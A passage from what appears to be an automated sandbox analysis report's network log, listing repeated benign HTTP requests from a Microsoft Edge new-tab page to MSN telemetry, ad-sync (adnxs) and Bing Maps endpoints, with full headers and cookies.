en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /REST/v1/Imagery/Map/RoadVibrant/41.8979,-87.6594/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AoyTpSR4rZ82ACunlVljE1ihA5yanCDx6D-acnj31k3Qp4hmUjE-uBGXnMPa1L94&c=en-us&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=41.897913,-87.659369;cls.f HTTP/1.1Host: ecn-us.dev.virtualearth.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349531171&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 15969sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349531619&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9359sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349532179&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 16782sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349533945&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9185sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349536967&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8737sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349540220&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 17193sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349540735&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8689sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349542938&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9234sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349545966&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8797sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349548955&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8987sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349549473&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8683sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349551952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9227sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349554950&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9241sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349557954&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9259sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349560934&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8965sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349563952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8985sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349564467&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8685sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
